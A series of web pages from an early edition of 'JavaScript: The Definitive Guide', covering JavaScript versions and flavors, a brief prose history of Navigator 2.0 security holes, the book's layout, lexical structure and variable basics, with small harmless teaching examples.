So far, we've been discussing JavaScript as if there were only one language to consider. In fact, there are several different varieties or flavors of JavaScript, and within these, there are different language versions. The subsections below sort it all out.

Standalone JavaScript

JavaScript was designed as a lightweight, general purpose scripting language, suitable for use in many different contexts. As such, there is a core JavaScript language, which is embellished with the necessary objects when it is embedded in a particular context. This book discusses the core language plus all the extensions it uses when embedded in a web browser. As we'll see below, JavaScript has also been embedded in web servers. In Example 1.3, all of the JavaScript code that queries and sets the fields of an HTML form is web-browser-specific, and is not part of the standalone core language. On the other hand, the code that defines data structures and performs computations is part of the core.

The core JavaScript language was, and continues to be, developed by Netscape (despite the word "Java" in its name, JavaScript is not a product of Sun Microsystems nor of JavaSoft). Netscape's press release announcing JavaScript[6] lists 28 companies that "have endorsed JavaScript as an open standard object scripting language and intend to provide it in future products." According to this press release, JavaScript is "an open, freely licensed proposed standard available to the entire Internet community." Netscape has released a reference implementation of the core JavaScript language in the form of a standalone version known as "JSRef". The JSRef distribution contains complete C source code for the JavaScript interpreter, so that it can be embedded into other products. Both JSRef and the language specification that accompanies it are currently available only to licensees of Netscape's Open Network Environment (ONE). (Obtaining an ONE license is free.)

[6] You can find it at: http://home.netscape.com/newsref/pr/newsrelease67.html

Because JSRef was not available in time from Netscape, Microsoft was forced to develop their own version of the JavaScript interpreter. They have named their standalone version of the language "JScript" and have made it available for licensing as well. Microsoft intends to keep JScript compatible with JavaScript.

JavaScript 1.0 and 1.1

There are currently two versions of the core JavaScript language. The version that was included in Navigator 2.0 is JavaScript 1.0. The version that is in the current JSRef and in Navigator 3.0 is 1.1. When Navigator 4.0 is released, it will contain JavaScript 1.2.

There are some significant differences between these various versions of the language. For example, JavaScript 1.1 provides much better support for arrays than JavaScript 1.0 does. Similarly, JavaScript 1.1 supports something known as a "prototype object" that makes it much easier to define complex data types. JavaScript 1.2 will also add new features to the language: current expectations are that this new version will include support for string matching with regular expressions and also for a C-style switch/case statement.

When JavaScript is embedded in a web browser, the differences between versions go beyond the core language features described above, of course. For example, Navigator 3.0 defines new objects, not available in Navigator 2.0, that allow JavaScript to manipulate images and applets. It is difficult to say whether these new features are enhancements of JavaScript 1.1 over JavaScript 1.0, or whether they are simply new features of Navigator 3.0 that are not available in Navigator 2.0. Note that in this book, Navigator 3.0 is sometimes used as a synonym for JavaScript 1.1 and Navigator 2.0 as a synonym for JavaScript 1.0, although this usage is not strictly accurate.

Finally, note that the version of JavaScript implemented in Internet Explorer is not JavaScript 1.1, but does support some JavaScript 1.1 features. The differences between the Microsoft and Netscape versions of JavaScript will be noted throughout this book.

Client-Side JavaScript

When a JavaScript interpreter is embedded in a web browser, the result is client-side JavaScript. This is by far the most common "flavor" of JavaScript; when most people refer to JavaScript, they usually mean client-side JavaScript. This book documents client-side JavaScript, along with the core JavaScript language that client-side JavaScript incorporates.

As of this writing, there are only two browsers, Netscape Navigator (versions 2.0 and 3.0) and Internet Explorer (version 3.0), that support client-side JavaScript. With Netscape's release of JSRef, we may see other browsers adopt the language as well. Unfortunately for those of us who want to write portable code, there are quite a few differences between JavaScript as implemented in Netscape's Navigator and JavaScript as implemented in Microsoft's Internet Explorer. While this book attempts to document both browsers, you'll notice that it documents Navigator by default, and Internet Explorer as a special case where it differs from Navigator.

There are a couple of reasons for this bias towards Navigator. First, Netscape created JavaScript, and so their implementation must be considered the definitive one. Second, Navigator was simply there first, and most JavaScript programmers have more experience with Navigator than they do with Internet Explorer. Third, Navigator has a more fully developed implementation of JavaScript. In Internet Explorer 3.0, JavaScript is implemented basically at the JavaScript 1.0 level. In future releases, we can expect to see Navigator and Internet Explorer come much closer to each other in terms of the features they implement.

VBScript

Besides supporting JavaScript, Internet Explorer 3.0 also support another scripting language, VBScript, which is short for "Visual Basic, Scripting Edition". VBScript is not another version of JavaScript, obviously, but is worth mentioning here anyway. As we've noted, standalone JavaScript becomes client-side JavaScript when the JavaScript interpreter is integrated into a web browser and when the web browser provides objects representing browser windows, documents, forms, and so on, that JavaScript can manipulate.

The engineers at Microsoft took this idea a small step further and kept the language interpreter and browser object model separate. By doing so, they allow arbitrary scripting languages (such as JavaScript and VBScript) to be integrated with the browser and given the ability to work with browser objects. Navigator does not support, and probably never will support, VBScript, but if you are a developer already familiar with Visual Basic, and you know that your pages will only be viewed through Internet Explorer, you may choose to use VBScript instead of JavaScript.

This book does not document VBScript. It does document all the client-side objects, what Microsoft calls the "object model" that JavaScript and VBScript use, however. Thus while the chapters on the core JavaScript language won't be of interest to VBScript programmers, the rest of this book will.

Server-Side JavaScript

We've seen how the core JavaScript language has been extended for use in web browsers. Netscape has also taken the core language and extended it in an entirely different way for use in web servers. Netscape calls their server-side JavaScript product "LiveWire," not to be confused with LiveConnect, documented in Chapter 19, LiveConnect: JavaScript and Java, or with LiveScript, which was the original name for JavaScript. As this book goes to press, the current versions of LiveWire are based on JavaScript 1.0.

There are not currently any server-side JavaScript products from other vendors. Other vendors may choose to embed JavaScript in their servers, or, because compatibility on the server side is not nearly as important as it is on the client side, other vendors may prefer to use proprietary scripting languages in their server products.

Server-side JavaScript provides an alternative to CGI scripts. It goes beyond the CGI model, in fact, because server-side JavaScript is embedded directly within HTML pages and allows executable server-side scripts to be directly intermixed with web content. Whenever a document containing server-side JavaScript code is requested by the client, the server executes the script or scripts contained in the document and sends the resulting document (which may be partially static and partially dynamically generated) to the requester. Because execution speed is a very important issue on production web servers, HTML files that contain server-side JavaScript are precompiled to a binary form that may be more efficiently interpreted and sent to the requesting client.

An obvious capability of server-side JavaScript is to dynamically generate HTML to be displayed by the client. Its most powerful features, however, come from the server-side objects it has access to. The File object, for example, allows a server-side script to read and write files on the server. And the Database object allows scripts to perform SQL database queries and updates.

Besides the File and Database objects, server-side JavaScript also provides other powerful objects, including the Request and Client objects. The Request object encapsulates information about the current HTTP request that the server is processing. This object contains any query string or form values that were submitted with the request, for example. The Client object has a longer lifetime than the Request object and allows a server-side script to save state across multiple HTTP requests from the same client. Because this object provides such an easy way to save state between requests, writing programs with server-side JavaScript feels much different from writing simple CGI scripts. In fact, it makes it feasible to go beyond writing scripts and to easily create what Netscape's documentation calls "web applications."

Because LiveWire is, at least at this point, a proprietary vendor-specific server-side technology, rather than an open client-side technology, it is not documented in this book. Nevertheless, the chapters of this book that discuss the core JavaScript language will still be valuable to LiveWire programmers.

Previous | Home | Next
An Example: Calculating Your Taxes with JavaScript | Book Index | JavaScript Security
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.7 JavaScript Security

JavaScript: The Definitive Guide

Previous Chapter 1
Introduction to JavaScript 		Next

1.7 JavaScript Security

Early versions of client-side JavaScript were plagued with security problems. In Navigator 2.0, for example, it was possible to write JavaScript code that would automatically steal the email address of any visitor to the page containing the code. More worrisome was the related capability to send email in the visitor's name, without the visitor's knowledge or approval. This was done by defining an HTML form, with a mailto: URL as its ACTION attribute and using POST as the submission method. With this form defined, JavaScript code could then call the form object's submit() method when the page containing the form was first loaded. This would automatically generate mail in the visitor's name to any desired address. The mail would contain the visitor's email address, which could be stolen for use in Internet marketing, for example. Furthermore, by setting appropriate values within the form, this malicious JavaScript code could send a message in the user's name to any email address.

Fortunately, practically all known security issues in JavaScript have been resolved in Navigator 3.0. Furthermore, Navigator 4.0 will implement a completely new security model that promises to make client-side JavaScript even more secure. Chapter 20, JavaScript Security contains a complete discussion of security in client-side JavaScript.

Previous | Home | Next
Flavors and Versions of JavaScript | Book Index | Using the Rest of This Book
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.8 Using the Rest of This Book

JavaScript: The Definitive Guide

Previous Chapter 1
Introduction to JavaScript 		Next

1.8 Using the Rest of This Book

The rest of this book is in four parts. Part I, immediately following this chapter, documents the standalone JavaScript language. This is the core language common to both client-side and server-side implementations of JavaScript. Chapters 2 through 5 begin this section with some bland but necessary reading--these chapters cover the topics necessary when learning any new programming language.

  • Chapter 2, Lexical Structure, explains the basic lexical structure of the language.

  • Chapter 3, Variables and Data Types, documents the data types supported by JavaScript and also covers the related topics of literals and identifiers.

  • Chapter 4, Expressions and Operators, explains expressions in JavaScript, and documents each of the operators supported by JavaScript. Experienced C, C++, or Java programmers will be able to skim much of this chapter.

  • Chapter 5, Statements, describes the syntax and usage of each of the JavaScript statements. Again, experienced C, C++, and Java programmers will be able to skim some, but not all, of this chapter.

The next four chapters of this first section become more interesting. They still cover the core of the JavaScript language, but document parts of the language that will not already be familiar to you, even if you already know C or Java. These chapters must be studied carefully if you want to really understand JavaScript:

  • Chapter 6, Functions, documents how functions are defined, invoked, and manipulated in JavaScript.

  • Chapter 7, Objects, explains objects, the most important JavaScript data type. This chapter includes a discussion of creating objects and defining object methods, among other important topics.

  • Chapter 8, Arrays, describes the creation and use of arrays in JavaScript.

  • Chapter 9, Further Topics in JavaScript, covers advanced topics that were not covered elsewhere. You can skip this chapter the first time through the book, but the material it contains is important to understand if you are ever to become a JavaScript expert.

Part II of the book documents client-side JavaScript. The chapters in this part document the web browser objects that are at the heart of client-side JavaScript, and provide detailed examples of their use. Any interesting JavaScript program running in a web browser will rely heavily on features specific to the client-side. You should read chapters 10, 11, and 12 first. After that, you can read chapters 13 through 20 in any order you choose, although you'll probably get the most out of this part if you read them in the order they are presented.

  • Chapter 10, Client-Side Program Structure, explains the various ways in which JavaScript is integrated into web pages for execution on the client side. It also discusses the order of execution of JavaScript programs and the event-driven programming model.

  • Chapter 11, Windows and the JavaScript Name Space, documents the most central and important object of client-side JavaScript, the Window object. It also covers issues related to this Window object, such as the name space, variable lifetime, and garbage collection.

  • Chapter 12, Programming with Windows, discusses and illustrates specific programming techniques using the Window object.

  • Chapter 13, The Navigator, Location, and History Objects, documents the Navigator, Location, and History objects and shows examples of using them.

  • Chapter 14, Documents and Their Contents, explains the Document object, which is perhaps the second most important object in client-side programming. It also illustrates programming techniques that use this object.

  • Chapter 15, Saving State with Cookies, illustrates the use of "cookies" to save state in web programming.

  • Chapter 16, Special Effects with Images, explains the Image object and demonstrates some special graphical effects you can produce with JavaScript.

  • Chapter 17, Forms and Form Elements, documents the Form object, another very crucial object in client-side JavaScript. It also documents the various form element objects that appear within HTML forms, and shows examples of JavaScript programming using forms.

  • Chapter 18, Compatibility Techniques, discusses the important issue of compatibility in JavaScript programming. It discusses compatibility between Navigator and Internet Explorer, between different versions of Navigator, and between JavaScript-enabled browsers and browsers that do not support the language.

  • Chapter 19, LiveConnect: JavaScript and Java, explains how you can use JavaScript to interact with Java classes and objects, and even communicate with and control Java applets. It also explains how you can do the reverse--invoke JavaScript code from Java applets.

  • Chapter 20, JavaScript Security, provides an overview of security issues in JavaScript. It explains the steps taken to plug security holes in Navigator 2.0, and the new "tainting" security model that is forthcoming in Navigator 4.0.

Part III is the reference section that makes up the second half of this book. It contains complete documentation for all JavaScript objects, methods, properties, functions, and event handlers, both for core and client-side JavaScript.

Finally, Part IV is a section of appendices that you may find useful. They include lists of commonly encountered bugs, a list of differences between JavaScript in Navigator and Internet Explorer, and other helpful information.

Previous | Home | Next
JavaScript Security | Book Index | Exploring JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.9 Exploring JavaScript

JavaScript: The Definitive Guide

Previous Chapter 1
Introduction to JavaScript 		Next

1.9 Exploring JavaScript

The way to really learn a new programming language is to write programs with it. As you read through this book, I encourage you to try out JavaScript features as you learn about them. There are a number of ways you can do this, and a number of techniques that make it easy to experiment with JavaScript.

The most obvious way to explore JavaScript is to write simple scripts. JavaScript has powerful enough features that even simple programs, only a few lines long, can produce complex results. We saw an example that computed factorials at the beginning of this chapter. Suppose you wanted to modify it as follows to display Fibonacci numbers instead:

<SCRIPT>
document.write("<h2>Table of Fibonacci Numbers</h2>");
for(i=0,j=1,k=0,fib=1; i<50; i++,fib=j+k,k=j,j=fib) {
    document.write("Fibonacci(" + i + ") = " + fib);
    document.write("<br>");
}
</SCRIPT>

This code may be convoluted (and don't worry if you don't yet understand it) but the point is that when you want to experiment with short programs like this, you can simply type them up and try them out in your web browser using a local file: URL. For simple JavaScript experiments like this, you can usually omit the <HTML>, <HEAD>, and <BODY> tags in your HTML file, and you can even omit the LANGUAGE="JavaScript" attribute that you would include in the <SCRIPT> tag of any production code you wrote.

For even simpler experiments with JavaScript, you can sometimes use the javascript: URL pseudo-protocol to evaluate a JavaScript expression and return the result. A JavaScript URL consists of the javascript: protocol specifier followed by arbitrary JavaScript code (with statements separated from one another by semicolons). When the browser "loads" such a URL, it executes the JavaScript code. The value of the last expression in such a URL is converted to a string, and this string becomes the "document" specified by the URL. For example, you might type the following JavaScript URLs into the Location field of your web browser to test your understanding of some of JavaScript's operators and statements:

javascript:5%2
javascript:x = 3; (x < 5)? "x is less": "x is greater"
javascript:d = new Date(); typeof d;
javascript:for(i=0,j=1,k=0,fib=1; i<10; i++,fib=j+k,k=j,j=fib) alert(fib);

While you can type these URLs directly into the Location field of Navigator, you cannot do the same in Internet Explorer 3.0. These URLs will work correctly in IE 3.0 in hypertext links and the like, but they cannot be entered directly.

In Navigator 2.0 and 3.0 (but not Internet Explorer 3.0), if you specify the URL javascript: by itself, Navigator will display a JavaScript interpreter screen, and JavaScript code entered into the input field in the lower frame will be evaluated and the results displayed in the upper frame. Figure 1.4 shows this special interpreter screen, with some example code evaluated. In this case, the JavaScript code shown pops up a dialog box that displays the name and value of each of the properties of the browser window.

Figure 1.4: The javascript: interpreter screen

[Graphic: Figure 1-4]

Figure 1.4 also shows some other useful techniques for experimenting with JavaScript. First, it shows the use of the alert() function to display text. This function pops up a dialog box and displays plain text (i.e., not HTML formatted) within it. It also demonstrates the for/in loop, which loops through all the properties of an object. This is quite useful when trying to discover which objects have what properties. The for/in loop is documented in Chapter 5, Statements.

While exploring JavaScript, you will probably write code that doesn't work as you expect it to, and will want to debug it. The basic debugging technique for JavaScript is like that in many other languages--insert statements into your code to print out the value of relevant variables so that you can try to figure out what is actually happening. As we've seen, you can sometimes use the document.write() method to do this. This method doesn't work from within event handlers, however, and has some other shortcomings as well, so it's often easier to use the alert() function to display debugging messages in a separate dialog box.

The for/in loop mentioned above is also very useful when debugging. You can use it, along with the alert() method to write a function that displays a list of the names and values of all properties of an object, for example. This kind of function can be quite handy when exploring the language or trying to debug code.

Good luck with JavaScript, and have fun exploring!

Previous | Home | Next
Using the Rest of This Book | Book Index | Lexical Structure
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] Lexical Structure

JavaScript: The Definitive Guide

Previous Chapter 2 Next

2. Lexical Structure

Contents:
Case Sensitivity
Whitespace and Line Breaks
Optional Semicolons
Comments
Literals
Identifiers
Reserved Words

The lexical structure of a programming language is the set of elementary rules that specify how you write programs in the language. It is the lowest-level syntax of a language, and specifies such things as what variable names look like, what characters are used for comments, and how one program statement is separated from the next. This short chapter explains the lexical structure of JavaScript: it covers the above topics and others.

2.1 Case Sensitivity

JavaScript is a case-sensitive language. This means that language keywords, variables, function names, and any other identifiers must always be typed with a consistent capitalization of letters. The while keyword, for example, must be typed "while", and not "While" or "WHILE". Similarly, online, Online, OnLine, and ONLINE are four distinct variable names.

Note that HTML is not case-sensitive, which, because of its close association with JavaScript, can be confusing. In particular, names of event handlers[1] are often typed in mixed-case in HTML (onClick or OnClick, for example) but must be all lowercase when referenced from JavaScript (onclick).

[1] Event handlers are pieces of JavaScript code used as the value of HTML attributes.

Case Sensitivity in Internet Explorer

In Internet Explorer 3.0, the core JavaScript language is case-sensitive, as it is in Navigator. Unfortunately, all of the objects, and their methods and properties, added to this core language by client-side JavaScript are case-insensitive in IE. The Date and Math objects are a built-in part of core JavaScript, so they are case-sensitive in IE; to compute a sine, you must invoke Math.sin(), exactly as shown here. On the other hand, the Document object is part of client-side JavaScript, so it is not case-sensitive. This means that where you would type document.write() in Navigator, you could use Document.Write(), DOCUMENT.WRITE(), or even DoCuMeNt.WrItE() in Internet Explorer.

All user-defined variables, functions, and objects are case-sensitive in IE; it is just the client-side objects and their predefined methods and properties that are not. This does mean, however that you need to be careful how you name your variables and properties. For example, the Window object has a property named parent. In Navigator, it would be perfectly safe to create a new property of a Window object and name it Parent. This would not be okay in IE, however, and would either cause an error or overwrite the value of the parent property.

The reason that client-side objects are not case-sensitive in IE is that IE allows the same client-side objects to be used by the VBScript scripting language. VBScript, like Visual Basic, is not case-sensitive, so Microsoft felt that their client-side objects must not be either. Because of Microsoft's requirement for VBScript, it is not likely that the client-side objects will become case-sensitive in a future version of IE; this is an incompatibility that we will have to live with.

This incompatibility presents a worst-of-both-worlds situation. Because Navigator is case-sensitive, you must be sure to type all your object, method, and property names in exactly the correct case. But because IE is not case-sensitive, you can't take advantage of Navigator's case sensitivity to create different variables with the same spelling and different capitalizations.

Previous | Home | Next
Exploring JavaScript | Book Index | Whitespace and Line Breaks
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.2 Whitespace and Line Breaks

JavaScript: The Definitive Guide

Previous Chapter 2
Lexical Structure 		Next

2.2 Whitespace and Line Breaks

JavaScript ignores spaces, tabs, and newlines that appear between "tokens" in programs, except those that are part of string constants. A "token" is a keyword, variable name, number, function name, or some other place where you would obviously not want to insert a space or a line break. If you place a space or tab or newline within a token, you obviously break it up into two tokens--123 is a single numeric token and 12 3 contains two separate tokens (and constitutes a syntax error, incidentally).

Because you can use spaces, tabs, and newlines freely in your program (except in strings and tokens) you are free to format and indent your programs in a neat and consistent way that makes the code easy to read and understand.

Previous | Home | Next
Case Sensitivity | Book Index | Optional Semicolons
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.3 Optional Semicolons

JavaScript: The Definitive Guide

Previous Chapter 2
Lexical Structure 		Next

2.3 Optional Semicolons

Simple statements in JavaScript are generally followed by a semicolon character, just as they are in C, C++, and Java. This serves to separate them from the following statement. In JavaScript, however, you are allowed to omit this semicolon if your statements are each placed on a separate line. For example, the following code could be written without semicolons:

a = 3;
b = 4;

But when formatted as follows, the semicolons are required:

a = 3; b = 4;

Omitting semicolons is not a good programming practice; you should get in the habit of using them.

Previous | Home | Next
Whitespace and Line Breaks | Book Index | Comments
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.4 Comments

JavaScript: The Definitive Guide

Previous Chapter 2
Lexical Structure 		Next

2.4 Comments

JavaScript supports both C-style and C++-style comments. Any text between a // and the end of a line is treated as a comment and is ignored by JavaScript. Also, any text (which may cover multiple lines) between the characters /* and */ is treated as a comment.

In addition, JavaScript recognizes the HTML comment opening sequence <!--. JavaScript treats this as a single-line comment, just as it does the // comment, and does not recognize the HTML comment closing sequence -->. There is a special purpose for recognizing the HTML comment but treating it differently from HTML. In a JavaScript program, if the first line begins <!--, and the last line ends //-->, then the entire program is contained within an HTML comment and will be ignored (instead of formatted and displayed) by browsers that do not support JavaScript. Since the first line begins with <!-- and the last line begins with //, JavaScript ignores both, but does not ignore the lines in between. In this way, it is possible to hide code from web browsers that can't understand it, without hiding it from those that can. Because of the special purpose of the <!-- comment, you should use it only in the first line of your scripts; other uses would be confusing.

Previous | Home | Next
Optional Semicolons | Book Index | Literals
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.5 Literals

JavaScript: The Definitive Guide

Previous Chapter 2
Lexical Structure 		Next

2.5 Literals

A literal in JavaScript is a data value that appears directly in a program. These are numbers, strings (in single or double quotes), the boolean values true and false, and the special value null. The specific syntax of each type of literal is described in the following subsections.

Integer Literals

Base-10 integers may be represented simply as an optional minus sign followed by a sequence of digits that does not begin with the digit zero.

[-](1-9)(0-9)*

For example:

3
-12
10000000

Since JavaScript represents all numbers as floating-point values, you can specify extremely large integer values, but you may lose precision in the trailing digits.

Octal and Hexadecimal Literals

You may also specify integers as octal (base-8) and hexadecimal (base-16) values. An octal value begins with an optional minus sign, followed by the digit zero, followed by a sequence of digits, each between 0 and 7:

[-]0(0-7)*

As in C and C++, a hexadecimal literal begins with an optional minus sign followed by "0x" or "0X", followed by a string of hexadecimal digits. A hexadecimal digit is one of the digits 0 through 9, or the letters a (or A) through f (or F), which are used to represent values ten through fifteen.

[-]0(x|X)(0-9|a-f|A-F)*

Examples:

-0123
0377
0xff
-0xCAFE911

Floating-Point Literals

Floating-point literals can have a decimal point; they use the traditional syntax for scientific notation exponents. A floating-point value is represented as:

  • An optional plus or minus sign, followed by

  • The integral part of the number, followed by

  • A decimal point and the fractional part of the number.

Exponential notation may be represented with additional syntax:

  • The letter e or E, followed by

  • An optional plus or minus sign, followed by

  • A one, two, or three digit integer exponent. The preceding integral and fractional parts of the number are multiplied by ten to the power of this exponent.

More succinctly, the syntax is:

[(+|-)][digits][.digits][(E|e)[(+|-)]digits]

Examples:

3.14
-1.414
.333333333333333333
6.02e+23
1.4738223E-32

Note that JavaScript does not specify the maximum and minimum representable sizes of numbers. It is probably safe to assume that every implementation uses IEEE double-precision format, which has a maximum value of approximately +/-1.79E+308 and a minimum value of approximately +/-4.94E-324.

String Literals

Strings are any sequence of zero or more characters enclosed within single or double quotes (' or "). Double-quote characters may be contained within strings delimited by single-quote characters, and single-quote characters may be contained within strings delimited by double quotes. Examples of string literals are:

'testing'
"3.14"
'name="myform"'
"Wouldn't you prefer O'Reilly's book?"

HTML uses double-quoted strings.[2] Since JavaScript code often contains embedded HTML strings, and is often embedded within HTML strings (for event handler specifications), it is a good idea to use single quotes around your JavaScript strings. In the example below, the string "Thank you" is single-quoted within a JavaScript expression, which is double-quoted within an HTML event-handler attribute:

[2] The original versions of HTML required double-quoted strings, though most popular web browsers now allow single-quoted strings as HTML attribute values as well.

<A HREF="" onClick="alert('Thank you')">Click Me</A>

On the other hand, when you use single quotes to delimit your strings, you must be careful with English contractions and possessives like "can't" and "O'Reilly's". Since the apostrophe is the same as the single-quote character, you must use the backslash character (\) to escape any apostrophes that appear in single-quoted strings. This use of the backslash is explained in the section that follows.

Escape Sequences in String Literals

The backslash character (\) has a special purpose in JavaScript strings. Combined with the character that follows it, it represents a character that is not otherwise representable within the string, just like in C or C++. For example, the characters \n are an escape sequence that represents a newline character. When we type the string literal, we type two individual characters, the backslash and the n, but the string itself contains only a single newline character at that location.[3]

[3] Bear in mind that HTML ignores newlines, so a \n escape sequence in HTML will not produce a newline in the browser display: for that you need to output <BR> or <P>. Thus, the \n escape might be useful in a string you pass to alert(), but not in a string you pass to document.write().

Another example, mentioned above, is the \' escape which represents the single quote (or apostrophe) character. This escape sequence is useful when you need to include an apostrophe in a string literal which is contained within single quotes. You can see why we call these "escape sequences"--the backslash allows us to "escape" from the usual interpretation of the single-quote character; instead of using it to mark the end of the string, we use it as an apostrophe. Table 2.1 lists the JavaScript escape sequences and the characters they represent.

There is one escape sequence that deserves special comment. \xxx represents the character with the Latin-1 (ISO8859-1) encoding specified by the three octal digits xxx. You can use this escape sequence to embed accented characters and special symbols into your JavaScript code, even though those characters cannot be typed from a standard keyboard. For example, the sequence \251 represents the copyright symbol.

Table 2.1: JavaScript Escape Sequences
Sequence | Character Represented
\b | Backspace
\f | Form feed
\n | Newline
\r | Carriage return
\t | Tab
\' | Apostrophe or single quote
\" | Double quote
\xxx | The character with the encoding specified by the three octal digits xxx.

Boolean Literals

The boolean data type in JavaScript represents a "truth value"--i.e., whether something is true or false. Any kind of comparison operation in JavaScript yields a boolean value that specifies whether the comparison succeeded or failed. Since there are two possible truth values, there are two boolean literals: the keywords true or false. These literals are commonly used in JavaScript code like the following:

while(done != true) {
    ...
    if ((a == true) || (b == false) || (i > 10)) done = true;
}

The null Literal

There is one final literal used in JavaScript: the null keyword. All other literals represent a value of a particular data type. null is different--it represents a lack of value. In a sense, null is like zero, but for data types other than numbers. We'll see more about null in Chapter 3, Variables and Data Types.

Previous | Home | Next
Comments | Book Index | Identifiers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.6 Identifiers

JavaScript: The Definitive Guide

Previous Chapter 2
Lexical Structure 		Next

2.6 Identifiers

An identifier in JavaScript is a name used to refer to something else. That is, it is a variable or function name. The rules for legal identifier names are the same in JavaScript as they are in most languages. The first character must be a letter (lowercase or uppercase) or an underscore (_). Subsequent characters may be any letter or digit or an underscore. (Numbers are not allowed as the first character so that JavaScript can easily distinguish identifiers from numbers.) These are legal identifiers:

i
my_variable_name
v13
_dummy

In Navigator 3.0, the $ character is also legal in JavaScript identifiers, in any position including the first. This change was made for compatibility with Java identifiers. Therefore, in Navigator 3.0 scripts, the variable names in the following assignments are also legal:

A$ = "I'm a BASIC programmer";
$VMS = true;

Internet Explorer 3.0 does not support $ in identifier names, but a future version of the language will.

Previous | Home | Next
Literals | Book Index | Reserved Words
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.7 Reserved Words

JavaScript: The Definitive Guide

Previous Chapter 2
Lexical Structure 		Next

2.7 Reserved Words

There are a number of "reserved words" in JavaScript. These are words that you cannot (or should not) use as identifiers (such as variable names) in your JavaScript programs. Table 2.2 lists the keywords in JavaScript. These words have special meaning to JavaScript--they are part of the language syntax itself. This means that they should not be used as identifiers. Table 2.3 lists keywords from Java. Although JavaScript does not currently use any of these keywords, it might in future versions; you should avoid using them in your programs. Finally, Table 2.4 lists other identifiers to avoid. While these identifiers are not strictly reserved, they are the names of datatypes, functions, and variables that are predefined by client-side JavaScript; using them may cause unexpected behavior in your programs. Note that since Internet Explorer is not case-sensitive, you should avoid all variations of these identifiers in Table 2.4, whether in lower- or uppercase.

Table 2.2: Reserved JavaScript Keywords
break | false | in | this | void
continue | for | new | true | while
delete | function | null | typeof | with
else | if | return | var |

Table 2.3: Java Keywords Reserved by JavaScript
abstract | default | implements | private | throw
boolean | do | import | protected | throws
byte | double | instanceof | public | transient
case | extends | int | short | try
catch | final | interface | static |
char | finally | long | super |
class | float | native | switch |
const | goto | package | synchronized |

Table 2.4: Other Identifiers to Avoid
alert | escape | JavaPackage | onunload | setTimeout
Anchor | eval | length | open | status
Area | FileUpload | Link | opener | String
Array | focus | Location | Option | Submit
assign | Form | location | Packages | sun
blur | Frame | Math | parent | taint
Boolean | frames | MimeType | parseFloat | Text
Button | Function | name | parseInt | Textarea
Checkbox | getClass | navigate | Password | top
clearTimeout | Hidden | Navigator | Plugin | toString
close | History | navigator | prompt | unescape
closed | history | netscape | prototype | untaint
confirm | Image | Number | Radio | valueOf
Date | isNaN | Object | ref | Window
defaultStatus | java | onblur | Reset | window
Document | JavaArray | onerror | scroll |
document | JavaClass | onfocus | Select |
Element | JavaObject | onload | self |

Previous | Home | Next
Identifiers | Book Index | Variables and Data Types
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] Variables and Data Types

JavaScript: The Definitive Guide

Previous Chapter 3 Next

3. Variables and Data Types

Contents:
Variables
Numbers
Strings
boolean Values
Functions
Objects
Arrays
Null
Undefined
The Date Object
Data Type Wrapper Objects

This chapter introduces two of the most important concepts of programming languages: variables and data types. A variable is a name associated with a data value; we say that the variable "stores" or "contains" the value. Variables allow us to store and manipulate data in our programs.

Just as fundamental as variables are data types. These, as the name suggests, are the types of data that our programs can manipulate. In Chapter 2, Lexical Structure, we saw that we can include numeric, string, and Boolean literals directly in our programs. This chapter provides more detail about these data types, and also introduces three new ones: functions, objects, and arrays.[1] Later chapters of the book will provide much more detail about functions, objects, and arrays.

[1] Technically, objects and arrays are actually two distinct uses of a single data type. Because they are used in such distinct ways, we will usually consider them as separate types in this book.

3.1 Variables

In Chapter 2, Lexical Structure, we considered JavaScript literals: constant values embedded directly (or literally) into a JavaScript program. A program that operated only on constant, literal values would not be a very interesting one, and so JavaScript (and all programming languages) use variables. Variables are names that have values assigned to them. They provide a way to manipulate values by name. The value associated with a name need not be constant; new values may be assigned to existing names. Since the value associated with a name may vary, the names are called variables. For example, the following line of JavaScript assigns the value 2 to a variable named i.

i = 2;

And the following line adds 3 to i and assigns the result to a new variable sum:

sum = i + 3;

Variable Declaration

Although it is often unnecessary, it is good programming style to declare variables before using them. You do this with the var keyword, like this:

var i;
var sum;

You can also declare multiple variables with the same var keyword:

var i, sum;

And you can combine variable declaration with initial assignment to the variable:

var i = 2;

As mentioned above, however, variable declaration is not usually required. The first time you use a variable that is not already declared, it will automatically be declared. The only time you actually need to declare a variable with var is when declaring a local variable inside a function definition (we haven't introduced functions yet) and that variable name is also in use as a "global" variable outside of the function. If you simply used the variable in the function without declaring it, then JavaScript would assume you meant the global variable declared outside the function, and would not automatically declare a local one within the function.

Untyped Variables

An important difference between JavaScript and languages like Java and C is that JavaScript is untyped. This means, in part, that variables can hold values of any data type, unlike Java and C variables which can only hold one type of data. For example, it is perfectly legal in JavaScript to assign a number to a variable and later assign a string to it:

i = 10;
i = "ten";
In C, C++, or Java, these lines of code would be illegal.

A related implication of the fact that JavaScript is an untyped language is that variable declarations do not have to specify a data type for the variable as they do in C, C++, and Java. In those languages, you declare a variable by specifying the name of the data type it will hold and following that by the variable:

int i;  // a declaration of an integer variable in C, C++, or Java
As we've seen, we just use the var keyword to declare variable in JavaScript, with no need to specify a type:

var i;  // a declaration of an untyped JavaScript variable.
In fact, although it is good programming style to declare variables in JavaScript, it is usually unnecessary, precisely because JavaScript is untyped.

